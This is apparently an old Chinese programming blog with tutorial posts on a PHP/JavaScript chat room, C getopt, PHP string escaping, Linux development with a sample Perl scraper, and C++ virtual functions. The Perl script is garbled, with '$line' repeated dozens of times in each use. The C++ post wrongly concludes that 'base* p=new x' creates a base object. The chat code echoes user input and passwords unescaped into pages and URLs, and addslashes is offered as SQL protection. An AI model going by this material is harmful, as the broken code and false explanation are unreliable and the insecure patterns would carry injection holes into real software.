t2=(new Date()).getTime()/1000;
if(((t2-t1)<1)||((t2-t1)*3<document.inputform.msg.value.length))
{
document.inputform.msg.focus();
return false;
}

//更新时间
t1=t2;

document.inputform.showsign.value=1;

//保存上次发言内容
document.inputform.message.value =document.inputform.msg.value;

//清空发言内容
document.inputform.msg.value =”;

//保存发言对象
dx=document.inputform.talkto.value;

//定位焦点
document.inputform.msg.focus();

//返回
return(true);
}

3调用信息发送程序,发布聊天者已经进入的信息
<script>
parent.bl.document.open();
parent.bl.document.write(“<meta http-equiv=’refresh’ content=’0;url=messagesend.php?name=<? print($name); ?>&&action=enter&&pass=<? print($pass); ?>’>”)
parent.bl.document.close();
</script>

发言由messagesend.php处理完成,注意输出对象为bl,也就是处理发言的框架名称,这样保证发言框架的页面内容的完整

聊天室编程思想–主动更新与被动更新

主动更新与被动更新

聊天的内容如何显示在屏幕上,一种是每隔一段时间刷新一次页面,读入全部聊天内容,然后显示,这里采用的是js的document.write的方法实现不刷新的聊天页面!

1 主页面的生成,规定了CSS类型,显示欢迎词
function write2(){
if(this.u.document==null)return;
this.u.document.writeln(“<html><head>”);
this.u.document.writeln(“<meta http-equiv=Content-Type content=text/html; charset=gb2312>”);
this.u.document.writeln(“<style type=text/css>”);
this.u.document.writeln(“.p9 { font-size: 11pt; line-height: 15pt}”);
this.u.document.writeln(“body { font-size: 11pt; line-height: 15pt}”);
this.u.document.writeln(“a:visited { font-size: 11pt;color: #0000FF; text-decoration: none;}”);
this.u.document.writeln(“a:link { font-size: 11pt;color: #0000FF; text-decoration: none}”);
this.u.document.writeln(“a:hover { font-size: 11pt;color: #FF0000}”);
this.u.document.writeln(“</style>”);

this.u.document.writeln(“</head>”);
this.u.document.writeln(“<body);
//……………… 这里插入生成在线人数组的程序段

this.u.document.writeln(“<script>”);
this.u.document.writeln(“<p class=p9 align=left>”);
this.u.document.writeln(“<p align=center>欢迎光临PlayBoy聊天室,本聊天室正在测试阶段,如有问题请与<a href=mailto:pccastle@sina.com>我们联系</a></p>”);
}

2 初始化进入信息,第一次进入聊天室

if($action == “enter”)
{

/////////////////// 调用显示主屏幕的js程序 ////////////////////
print(“parent.write2(); “);

//发言内容,某某进入聊天室了
$message = “<a href=javascript:parent.cs(‘$name’); target=d>$name</a>来到聊天室”.$message.” “.date(“m月d日 H:i”).”<script>parent.add(‘$name’,'$photo’);parent.write1();</script><br>”;
}
//更新发言内容
while(file_exists($lockfile)){ $pppp++; }

//发言的锁定
fclose(fopen($lockfile,”w”));

//读入发言的总句数,也就是所有人一共发了多少言!我们可以保存每一个发言,但是这样会占用大量的磁盘空间,我们采用了一种取模的方法,循环使用文件来减少文件操作!
$talkmessage = file($filename);
$number = chop($talkmessage[0]);

//发言数增加一,然后保存
$talkhandle = fopen($filename,”w”);
$number++;
fputs($talkhandle,$number);
fclose($talkhandle);

/去掉锁定
unlink($lockfile);

//对发言总数对10取模,作为文件名保存发言内容,也就是说第11句和第1句使用同一个文件名,由于不可能同时有10句话没有更新,所以这是数在人不是非常多的情况下很好!当然,考虑到人多的情况,可以设成100.
$filehandle = fopen(“messageonline”.($number%10).”.php”,”w”);
fputs($filehandle,$message);
fclose($filehandle);

//显示进入信息
print(“parent.u.document.writeln(“$message”); “);

//调用主动刷新js程序,传递已经显示的发言数目
print(“parent.flushwin($number) “);

//保存最后一次显示的发言
$last = $number;
}

3 处理发送表单的请求

//不处理空的发言和超过一定数目的发言
if( ($message != “”)&&(strlen($message)<150))
{

//检查发言者是否在线,防止意外
$onlineperson = file(“useronline.dbf”);
$personsign=0;
for($i=0;$i<count($onlineperson);$i++)
{
$person = split($split,$onlineperson[$i],99);
if($person[0] == $name)
{
$personsign = 1;
$person[3] = date(“U”);
break;
}
}

//在线时的处理程序
if($personsign == 1)
{

//添加发言时间的部分
$message = $message.” <font size=1>”.date(“m月d日 H:i”).”</font><br>”;

//锁定发言总数文件
while(file_exists($lockfile)){ $pppp++; }
fclose(fopen($lockfile,”w”));

//读入发言总数
$talkmessage = file($filename);
$number = chop($talkmessage[0]);

//总数加1,然后保存
$talkhandle = fopen($filename,”w”);
$number++;
fputs($talkhandle,$number);
fclose($talkhandle);
unlink($lockfile);

//总数对10取模后以文件形式保存发言内容
$filehandle = fopen(“messageonline”.($number%10).”.php”,”w”);
fputs($filehandle,$message);
fclose($filehandle);
}
}

//////////////////////////////////////////////////////////////////
这样,表单的处理已经完成,下面的主动更新程序将会把新的发言内容显示在屏幕上
//////////////////////////////////////////////////////////////////

4 主动更新的自动循环调用方法

可以使用<meta http-equiv=”reflesh” content=”3;url=messageflush.php?name=<?print($name)?>&&pass=<?print($pass)&&last=<?print($last)?>的方式更新!

我的程序以前就是使用这种方法自动更新的,但是我发现一个问题,那就是当这个更新程序出现运行错误时,他不会产生调用下次更新的代码,造成后台更新程序停止工作!所以我采用了js定时的方法来完成同样的功能!

var flushtimeID=null;
var flushRunning=false;

//上次更新标志
var flushflag = true;

function flushstop()
{
if(flushtimerRunning)clearTimeout(flushtimerID);
flushtimerRunning=false;
}
function flushstart()
{
flushstop();

//使用发送表单里面的上次显示的值
flushwin(this.d.document.inputform.last.value);
}

function flushwin(winnumber)
{
//如果上次更新正确,则调用下次更新
if(flushflag == true)
{
url=”messageflush.php?name=<? print($name); ?>&&pass=<? print($pass); ?>&&last=”+winnumber;
flush.location=url
flushflag=false
}

//否则等待一个循环
flushtimerID=setTimeout(“flushstart()”,2000);
flushtimerRunning=true;
}

这种方法保证了在主程序不死的情况下,后台更新程序会一直运行下去!

5 主动更新程序
<script Language=’JavaScript’>
<?
//读入最大的发言数目
$message = file($filename);
$number = chop($message[0]);

//从上次显示的下一个发言开始到最大发言结束,显示发言内容
for($i=$last+1;$i<=$number;$i++)
{
//读入下一个发言内容
$filename = “messageonline”.($i%10).”.php”;
$message = file($filename);
$tempmessage = split($split,$message[0],99);

//显示发言内容
print(“parent.u.document.writeln(“$message[0]“); “);
}

//更新发送表单最后一个发言的数目
print(“parent.d.document.inputform.last.value=$number; “);

//通知主程序本次更新已经完成
print(“parent.flushflag=true; “);
?>
</script>

这样,每个发送的发言,经过被动更新程序处理保存到文件内,然后由一个循环的主动更新程序完成显示任
务!!!

2004年08月06日

在实际程序之中我们经常要对命令行参数进行分析. 比如我们有一个程序a可以接受许多参数.一个可能的情况是
a -d print –option1 hello –option2 world
那么我们如何对这个命令的参数进行分析了?.经常用函数是getopt和getopt_long.
#include <unistd.h>
#include <getopt.h>

int getopt(int argc,char const **argv, const char *optstring);
int getopt_long(int argc,char const **argc,
const char *optstring,const struct option *longopts,
int *longindex);

extern char *optarg;
extern int optind,opterr,optopt;

struct option {
char *name;
int has_flag;
int *flag;
int value;
};

getopt_long是getopt的扩展.getopt接受的命令行参数只可以是以(-)开头,而getopt_long还可以接受(–)开头的参 数.一般以(-)开头的参数的标志只有一个字母,而以(–)开头的参数可以是一个字符串.如上面的 -d,–option1选项.
argc,和argv参数是main函数的参数.optstring指出了我们可以接受的参数.其一般的形式为:参数1[:]参数2[:]…. 其中参数是我们可以接受的参数,如果后面的冒号没有省略,那么表示这个参数出现时后面必需要带参数值. 比如一个optstring为abc:d:表示这个参数选项可以为a,b,c,d其中c,d出现时候必须要有参数值.如果我们输入了一个我们没有提供的参 数选项.系统将会说 不认识的 选项. getopt返回我们指定的参数选项.同时将参数值保存在optarg中,如果已经分析完成所有的参数函数返回-1.这个时候optind指出非可选参数 的开始位置.

#include <stdio.h>
#include <unistd.h>

int main(int argc,char **argv)
{
int is_a,is_b,is_c,is_d,i;
char *a_value,*b_value,*c_value,temp;

is_a=is_b=is_c=is_d=0;
a_value=b_value=c_value=NULL;

if(argc==1)
{
fprintf(stderr,”Usage:%s [-a value] [-b value] [-c value] [-d] arglist …\n”,
argv[0]);
exit(1);
}

while((temp=getopt(argc,argv,”a:b:c:d”))!=-1)
{
switch (temp)
{
case ‘a’:
is_a=1;
a_value=optarg;
break;
case ‘b’:
is_b=1;
b_value=optarg;
break;
case ‘c’:
is_c=1;
c_value=optarg;
break;
case ‘d’:
is_d=1;
break;
}
}

printf(“Option has a:%s with value:%s\n”,is_a?”YES”:”NO”,a_value);
printf(“Option has b:%s with value:%s\n”,is_b?”YES”:”NO”,b_value);
printf(“Option has c:%s with value:%s\n”,is_c?”YES”:”NO”,c_value);
printf(“OPtion has d:%s\n”,is_d?”YES”:”NO”);
i=optind;
while(argv[i]) printf(” with arg:%s\n”,argv[i++]);
exit(0);
}

getopt_long比getopt复杂一点,不过用途要比getopt广泛.struct option 指出我们可以接受的附加参数选项.
name:指出长选项的名称(如我们的option1)
has_flag:为0时表示没有参数值,当为1的时候表明这个参数选项要接受一个参数值.为2时表示参数值可以有也可以没有.
指出函数的返回值.如果为NULL,那么返回val,否则返回0.并将longindex赋值为选项所在数组(longopts)的位置.

/* 这个实例是从 GNU Libc 手册上看到的 */

#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>

int main (int argc, char **argv)
{
int c;

while (1)
{
struct option long_options[] =
{
{“add”, 1, 0, 0},
{“append”, 0, 0, 0},
{“delete”, 1, 0, 0},
/* 返回字符c,等同于 -c 选项 */
{“create”, 0, 0, ‘c’},
{“file”, 1, 0, 0},
/* 数组结束 */
{0, 0, 0, 0}
};
/* getopt_long stores the option index here. */
int option_index = 0;

c = getopt_long (argc, argv, “abc:d:”,
long_options, &option_index);

/* Detect the end of the options. */
if (c == -1)
break;

switch (c)
{
case 0:
printf (“option %s”, long_options[option_index].name);
if (optarg)
printf (” with arg %s\n”, optarg);
break;

case ‘a’:
puts (“option -a\n”);
break;

case ‘b’:
puts (“option -b\n”);
break;

/* 可能是-c –creat参数指出来的 */
case ‘c’:
printf (“option -c with value `%s’\n”, optarg);
break;

case ‘d’:
printf (“option -d with value `%s’\n”, optarg);
break;
}
}

exit (0);
}

2004年07月29日

  在许多Web编程里,字符串总是会被大量地生成和处理的。正确地使用和处理字符串,对于PHP程
序员来说也同样越来越重要了。本文从最简单的字符串定义一直引导你到高层字符串处理技巧,希望
对大家有所帮助。

  
一、引号定义字符串

  在PHP中,通常一个字符串被定义在一对引号中,如:

‘I am a string in single quotes’
“I am a string in double quotes”

  PHP语法分析器是用成对的引号来判断一个字符串的。因此,所有字符串必须使用同一种单或者双
引号来定义开始和结束。例如,下面的字串定义是不合法的:

“I am not a valid string since I have unmatching quote marks’
‘Me neither!”

  定义字符串时,只有一种引号被视为定义符,即单引号或双引号。于是,如果一个字符串由双引
号开始,那么只有双引号被分析器解析。这样,你就可以在双引号串中包含任何其他字符,甚至单引
号。下面的引号串都是合法的:

$s = “I am a ’single quote string’ inside a double quote string”;
$s = ‘I am a “double quote string” inside a single quote string’;

  当PHP遇到与串的开头相对应的引号时,便认为已经到了字符串尾部,于是:

“Why doesn’t “this” work?”

  实际上被PHP语法分析器分成三个部分:

“Why doesn’t “——包含一个单引号的双引号串
this——多余的字符,分析器无法处理
” work?” ——普通字符串

  上面的这个例子企图在双引号串中包含双引号,而分析器在遇到第二个双引号时便认为字符串结
束了。要达到包含引号的目的, 必须分析器在遇到串内普通引号的时候忽略它的原意,我们在引号的
前面加上一个反斜杠来告诉PHP:这个引号是字符串的一部分,正确的表示方法是这样:

“Why doesn’t \”that\” work?”

  在英文字符串中一个常见的问题是撇号’的使用,因为它就是一个单引号,而在英文串中十分常见
(英文所有格)。你必须小心处理这些字符:

‘You\’d better escape your apostrophes’

  可以看到反斜杠在字符串中有他的特殊含义,当我们需要在字符串中包含反斜杠本身时,需要在
该符号前面多加一个反斜杠。例如:

$file = “c:\windows\system.ini”;
echo $file; // 打印结果为: c:windowssystem.ini
$file = “c:\\windows\\system.ini”;
echo $file; // 打印结果为: c:\windows\system.ini

  另一种字符串定义方式,能够消除特殊字符的烦恼,而且便于引用较长的文本。该字符串定义方
法以<<<符号紧跟一个自定义字符串开头,最后一行以该自定义字符串结束,并且必须顶格。

二、字串的连接

  字串可以使用字串连接符(.)来连接,如:

$first_name = ‘Charlie’;
$last_name = ‘Brown’;
$full_name = $first_name . ‘ ‘ . $last_name;

  常见的用途是建立大块的HTML字串代码,赋值号 (=) 连接符 (.) 可以被简写合并为 (.=) 符
号,如:

$html = ‘<table>’;
$html .= ‘<tr><td>number</td><td>square</td></tr>’;
for ( $i=0 ; $i<10 ; $i++) {
$square = $i * $i;
$html .= ‘<tr><td>’ . $i . ‘</td><td>’ . $square . ‘</td></tr>’;
}
$html .= ‘</table>’;

三、在字串中使用变量

  这个功能让你无须使用连接符号来粘和大量的简单字符串。PHP允许我们在双引号串中直接包含字
串变量,我们可以发现下面的两个字串的处理结果是相同的。

$full_name = $first_name . ‘ ‘ . $last_name;
$full_name = “$first_name $last_name”;

  单引号串和双引号串在PHP中的处理是不相同的。双引号串中的内容可以被解释而且替换,而单引
号串中的内容总被认为是普通字符。例如:

$foo = 2;
echo “foo is $foo”; // 打印结果: foo is 2
echo ‘foo is $foo’; // 打印结果: foo is $foo
echo “foo is $foo\n”; // 打印结果: foo is 2 (同时换行)
echo ‘foo is $foo\n’; // 打印结果: foo is $foo\n

  正如你所看到的,在单引号串中甚至反斜杠也失去了他的扩展含义(除了插入反斜杠\\和插入单
引号\’)。所以,当你想在字串中进行变量代换和包含\n(换行符)等转义序列时,你应该使用双引
号。单引号串可以用在其他任何地方,脚本中使用单引号串处理速度会更快些,因为PHP语法分析器对
单引号串的处理方式比较单纯,而双引号的处理由于串内部也需要解析,因此更复杂些,所以处理速
度略慢。

  在字符串中引用复杂的变量组合时,可能会产生一些问题,下面的代码会正常工作:

echo “value = $foo”;
echo “value = $a[$i]“;

  而下面的代码却不能得到我们希望的结果:

echo “value = $a[$i][$j]“; //我们希望打印二维数组$a的某个元素。

  为避免这些字串使用中的潜在问题,我们通常把复杂的变量从字串中分离开来,就像这样:

echo ‘value = ‘ . $a[$i][$j];

  还有一种办法是将复杂变量用花括号括起来,语法分析器就能正确辨认了:

echo “value = {$a[$i][$j]}” //打印二维数组$a的某个元素

  这样,又出现新问题了。当我们想在字串中引用花括号字符本身时,就要记得使用转义符了:

$var = 3;
echo “value = {$var}”; // 打印结果 “value = 3″
echo “value = \{$var}”; // 打印结果 “value = {3}”

三、斜杠和SQL语句

  生成HTML代码或SQL查询语句是编写PHP程序时经常遇到而且是件有趣的事情。为什么这么说呢,
因为这涉及到生成另外一种类型的代码,你必须仔细地考虑和遵循这种代码所要求的编写语法和规
则。

  我们来看这样一个例子,假如你想查询数据库中名字是“O’Keefe”的用户,通常SQL语句的形式
是这样的:

select * from users where last_name = ‘O\’Keefe’

  请注意SQL语句这个英文所有格(撇号)需使用反斜杠转义。PHP专门提供了一些函数来处理这样
的情况,函数AddSlashes($str)的用途就是自动在字串中对引号字符插入反斜杠转义符:

$last_name = “O’Keefe”;
$sql = “select * from users where last_name = ‘” . addslashes($last_name) . “‘”;

  在这个例子中,你还要在last_name字串外面括上单引号(SQL语法要求),由于这里使用的是双
引号串,所以对这对单引号就无须使用转义了。下面的这个语句是使用单引号串的等价形式:

$sql = ’select * from users where last_name = \” . addslashes($last_name) . ‘\”;

  任何时候你要在数据库中写入字串,你都必须确保里面的引号正确使用了转义符号,这是很多PHP
初学者常犯的错误。

四、双引号和HTML

  与SQL语句不同,在标准HTML语言中双引号常被用来表示字串(现在很多浏览器具备较强的容错功
能,允许在HTML中用单引号甚至不用引号表示字符串),例如:

$html = ‘<a href=”‘.$url.’”>’.$link.’</a>’;
$html = “<a href=\”$url\”>$link</a>”;

  HTML语言不支持反斜杠转义,这一点在我们使用表单的hidden inputs来传输数据的时候就会有所
体会了。设置hidden inputs的值的最好办法,是使用htmlspecialchars()函数来编码。下面的语句可
以正常传输一个可能包含双引号的数据:

  <input type=hidden name=var value=”<?php echo htmlspecialchars($var) ?>”>

介绍

使用了Linux一段时间后,很多朋友都希望能为这个开放辕马世界做自己的贡献,更多的参加到这个open source的社团里。面对无数的自由软件,对于一个稍微不太普通的用户来说去解开一个tar文件,然后修改makefile去编译辕马都是很常有的。我们不满足简单的编译和使用别人的程序,我们应该亲自参加到这个开发辕马的创作之中。对于一个初学者来说,面对五花八门的开发工具,如何选择呢?
使用什么开发工具去开发Linux程序呢?我们这里做个简单的介绍。这里是你成为Linux hacker征途上的第一步。

编程模式

让我们开始第一步。作为一个初学者应该首先使用什么样的编程风格或者说编程模式呢?有很多的选择,例如基于函数的、基于过程的开发,还有面向对象的开发等等。要成为一个好的programmer,对于初学者,最好使用某种语言对各种编程模式都尝试一遍。

Comp.lang.functional讨论组里面的FAQ中定义了面向函数的语言,说“”a style of programming that emphasizes the evaluation of expressions, rather than execution of commands. The expressions in these language are formed by using functions to combine basic values. A functional language is a language that supports and encourages programming in a functional style.”

在Linux平台下面,比较常见的面向函数的开发语言有:ML、Haskell、Scheme等。

面向过程的语言是一种把程序要完成的动作分割成一个一个“过程(procedures)”的语言。一个典型的面向过程的开发语言的组织结构,我们可以看看流程图,就可以感觉出来。最常见的面向过程的开发语言就是Pascal和C语言了。

面向对象的开发语言的核心就是用对象来表征所要执行的主体。例如要开发一个高速公路的模拟系统,他首先定义一个交通工具的类,包括所有交通工具的公共属性;然后继承这个类,可以派生出汽车类、自行车类等等。Linux平台下最常见的面向对象的语言是C++、Java、Python、Smalltalk和 Eiffel等。

还有混合的语言,你可以用多种编程模式去写自己代码,例如PHP和Perl。

如何选择?一般来说最好每种模式都有一个了解。最好这样开始你的编程旅程,首先给自己定一个小project。有了一个清晰的目标后,选择编程语言和编程模式就容易了。如果使用某种语言开发起来容易,那么你就先学习使用这种语言。

例如,我开始想学习更多的关于数据库和web编程的时候,我决定建一个书籍数据库,包括我拥有的书的信息还有我要计划购买的书籍信息。经过我的查找比较,我认为我的想法可以用PHP和MySQL来实现更方便。然后我就学习了PHP和MySQL的一些知识,完成了这个小的系统。

我个人的编程体会,我至少使用了4种语言,包括:C、PHP、SQL和Perl。
C语言是最灵活和方便的开发语言,在Linux下使用最多的开发语言就是它了。一旦学会了C语言,我们就可以非常容易的学习和使用其他的语言了。所以我建议你学习C语言编程。C语言是一种高级语言,它编写内核级的代码和驱动程序都非常方便。Linux下面有很多开发C语言的函数库和开发工具,我们都可以方便的使用它们,这也是使用C语言开发代码的好处。

PHP是Hyper-text Processor的缩写,是一种解释执行的语言,一般来说运行在web服务器端。如果你会C语言,那么最多花一天的时间就可以学会PHP。PHP给你在web编程方面很大的方便。

SQL是Standard Query Language的缩写,就是标准的访问数据的查询语言。很多PHP程序中都包含了使用SQL语言去访问数据库的代码。SQL基本上使用有点类似英文的语法,所以学起来非常容易。如果你学习PHP和C,那么SQL可以简单的顺便学习。
Perl是一种使用比较广的教本语言。很多语法来自C和UNIX的SHELL工具。Perl拥有很多的可以添加的模块,在CPAN计划中。使用这些模块,开发程序编得非常容易了。

下面是一个perl程序例子:

#!/usr/bin/perl
# NMSU Job grabber
# Matt Michie (mmichie@linux.com)
#———————————————————————-
#Copyright (c) 2000, Matt Michie (mmichie@linux.com) (All rights reserved.)
#
#Redistribution and use in source and binary forms, with or without
#modification, are permitted provided that the following conditions are met:
#
#Redistributions of source code must retain the above copyright notice,
#this list of conditions and the following disclaimer.
#
#Redistributions in binary form must reproduce the above copyright notice,
#this list of conditions and the following disclaimer in the documentation
#and/or other materials provided with the distribution.
#
#The names of this programs contributors may not be used to endorse or
#promote products derived from this software without specific prior
#written permission.
#
#THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
#“AS IS” AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
#LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
#A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR
#CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
#EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
#PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
#OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
#WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
#OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
#ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
#———————————————————————-
#Instructions for use:
#
#You must have LWP installed to fetch the jobs. If you wish to use the
#e-mail notification you also must have sendmail installed.
#
#The script has the following command line flags:
#
#-v : Print the version
#
#-t : Max threshold to include the salary in statistics calculations
#
#-b (number) : Boundary of salary after which program will shoot off an
# e-mail
#
#-m (email address) : Tell the program to notify you with email. The arguement
# is a valid e-mail address.
#
#-q : Quiet mode, don’t print statistics, automatically used in email mode.
#Example use:
#
#fetch.pl -b 7.50 -m
mmichie@linux.com
#
#This tells the program to fetch the jobs list and only send e-mail
#notification if there are any jobs with higher pay than $7.50.
#———————————————————————-

use LWP::Simple;
use Getopt::Std;

$version = ‘Job Grabber 0.01′;

getopts(‘vqt:m:b:’) || die “Check your command line args! “;

if ($opt_t != 0) {
$max = $opt_t;
}
else {
$max = 20; # Max threshold to include salary in count
}

$min = 0; # Min threshold to include salary in count

$highest = 0; # Highest salary
$total = 0; # Total jobs counted
$count = 0; # Total jobs which fall inside min/max thresholds

$oncampus = “http://www.nmsu.edu/~pment/oncampu.htm”;
#$offcampus = “http://www.nmsu.edu/~pment/offcampu.htm”;

$URL = $oncampus;

if ($opt_v) {
print “$version “;
exit(0);
}
if ($opt_m && !$opt_q) {
$opt_q = true;
}

&fetch_page;
&stats;

if ($opt_m && ($highest > $opt_b)) {
&email;
}
elsif (!$opt_b && $opt_m) {
$opt_q = 1;
}

sub fetch_page {
unless (defined ($page = get($URL))) {
die “There was an error getting URL: $URL “;
}

@page = split(/ /, $page);

foreach $line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line (@page) {

$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line =~ s/<[^>]*>//g; # strip HTML codes
if (!$opt_q && $line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line =~ /On campus job postings as of:/) {
print “$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line “;
}
elsif ($line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line =~ /SALARY:/) {
push @pay, (split (/:/, $line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line$line))[1];
}
}
}

sub stats {
foreach $elm (@pay) {
$total++;
next if ($elm <= $min || $elm >= $max);

if ($elm > $highest) {
$highest = $elm;
}

$count++;
$accum += $elm;
}

if ($count == 0) {
die “Eiiiiiiiiiieeeeeeeeeeeeeeeeeeee divide by zero Sad “;
}
else {
$avg = $accum / $count;
}

if (!$opt_q) {
print “Total jobs listed: $total “;
print “Number of jobs counted for pay: $count “;
print “Highest hourly pay: $$highest “;
printf “Average hourly pay: $%.2f “, $avg;
}
}

sub email {
open(SENDMAIL, “|/usr/lib/sendmail -oi -t -odq”)
or die “Can’t fork for sendmail: $! “;

print SENDMAIL <<”EOF”;
From: Job Grabber <$opt_m>
To: $opt_m <$opt_m>
Subject: Jobby

Total jobs listed: $total
Number of jobs counted for pay: $count
Highest hourly pay: $$highest Average hourly pay: $$avg
EOF

close(SENDMAIL) or warn “sendmail didn’t close nicely”;
}

从上面的代码中你可以看到,大部分的代码都是“过程”,使用与C类似的语法风格。这对于熟悉C语言的开发者来说,可以大大提高开发速度。例如使用了 printf函数,这个函数就和C的pritnf语法一样。其实在perl中还有其他的与printf语法一样的函数,我们可以自由选择。

开发工具

在Linux开发程序一般来说有两个主要的编辑器,vi或者vim,还有Emacs。这些文本编辑器如何选择?你可以都试试看,然后选择自己喜欢的。反正它们都可以让你输入文本,都可以让你生成源代码。我个人来说,喜欢vim,简洁而好用。

GCC是GNU C Compiler的缩写,是GNU/Linux下最好的编译器之一。这个编译器稳定,而且文档齐全,大部分的自由软件都是用他编译的。如果你使用C,那么就可以选择gcc。

GNU的debugger工具是gdb,有非常好的调试特性。不过对于初学者来说也许使用起来有点麻烦,你可以先试试ddd来调试你的代码。

还有其他的有自己IDE的开发语言,但是我还是建议你用vim或者emacs来开始你的编写代码的过程。

总结

Linux是开发者的天堂。开发者可以控制特定的硬件环境,还可以创建自己的工具使得自己的生活更加轻松。通常来说,学习编程的最好的方法就是读别人的代码,然后看它们是怎么做的。Linux和开发辕马使得你有机会看到别人的辕马,好好去学习吧。

一些资源

http://perl.com
http://python.org
http://www.ruby-lang.org/en/
http://www.cpan.org/
http://www.php.org

2004年07月24日

前段时间有人问关于C++的继承与多态的问题,当时一边调试一边讲解也算是解释通了,但后来又有朋友问起此问题,便想写点这方面的东西,问题是这样的:
#include<iostream.h>
class base
{
public:
func()
{
cout<<”this is base class”<<endl;
}
};
class x: public base
{
public:
func()
{
cout<<”this is x class”<<endl;
}
};
void main()
{
base* p=new x;
p->func();
}
就是这样一个程序,得到的结果是什么呢?答案是:”this is base class”,而问题就在于这一句话:base* p=new x,程序的本意可能是要创建一个x 的对象,但为什么执行的是base的func呢?我们先来看一下new用法,new的作用在堆里为象分配内存并为这块内存调用构造函数,并且内置了长度计算,类型转换和安全检查,通用的格式是Type *p=new Type,而在程序中使用的是base* p=new x,这样就产生了第一个问题,p到底是指向base还是指向x,按照通用的格式应该指向Type,但到底是前面的Type还是后面的Type呢?于是我便把base* p=new x 改成了x* p=new base结果出错,编译器提示不能把类型base转变成x,看来当前一个Type和后一个Type的型类不一致是会发生类型转换,正好new的内置功能里带用类型转换,不难看出这里是把第二个Type转换成第一个Type,但为什么当把base转换成x时会出误错呢?这里就引出了个上向类型转换的概念,所谓上向类型转换就是取一个对象的地址,并将其作为基类的地址一处理,也就是说只能由子类向父类转换.综合上面的解释,程序中实际上是创建了一个base类型的对象,为了证明的我结论是正确的,我又作了以下调式,在base类中添加一个函数a,在x中添加了一函数b,因为x是继承base.所以如果p是x的话那么它可以调用父类的函数a,也可以调用x类的函数b,反之则只能调到base类的函数a,而不能调用x的函数b,调式发现,结果和我想像的是相符合的,也证明了以上的结论.
其实到这里只是完成了整个问题的第一步,于是继续修改程序:
我把程序改成:
#include<iostream.h>
class base
{
public:
virtual func()
{
cout<<”this is base class”<<endl;
}
};
class x: public base
{
public:
func()
{
cout<<”this is x class”<<endl;
}
};
void main()
{
base* p=new x;
p->func();
}
这种里的修改是把func改成了虚函数,再执行,结果是:”this is x class”,这个结果似乎有点出乎意料,似乎和我第一步的结论相反,但第一步是论证是比较严谨的,于是我把注意力集中到了虚函数上.要找到本质原因,还得从虚函数的现实讲起,我们来看一下虚函数是怎样实现的,
把程序改成:
#include<iostream.h>
class base
{
public:
virtual func()
{
cout<<”this is base class”<<endl;
}
};
class x: public base
{
public:
func()
{
cout<<”this is x class”<<endl;
}
};
void main()
{
x* p=new x;
p->func();
}
注意,这里主要改的是x* p=new x,建一个x对象,则由于func函数是一个虚函数,所在这里应该调用的是x的func而当func不是虚函数时,则调用base的func函数,虚函数和普通函数到底有什么区别?编译器又是怎么处理的?我们来作一个测式,写如下程序:
#include <iostream.h>
class X{
int i;
public:
a()
{
}
};
class Y{
int i;
public:
virtual a()
{
}
};
class Z{
int i;
public:
virtual a()
{
}
virtual b()
{
}
};
void main()
{
cout<<sizeof(X)<<endl;
cout<<sizeof(Y)<<endl;
cout<<sizeof(Z)<<endl;
}
这样我们可以得到三个类的大小,分别是:4,8,8类X与类Y的构构基本相同但Y的大小是X的两倍,而X与Y的不同点就是Y的a是一个虚函数,而Y与Z的大小是相同的,但Z有两个虚函数,而Y只是一个虚函数,得出这样的结果的原因是因为不带虚函数的对象的长度是单个int的长度,而带有单个虚函数的对象长度是不带虚函数的长度再加上一个指针的长度,实际是编译器在Y中插入了一个指针(VPTR),所以带一个虚函数和带两个虚函数没有区别,都只插入了一个指针,而这个指针指向一个存放函数地址的表(虚函数据表),这个表存放着具体函数。我们用函数图来画出函数的结构:

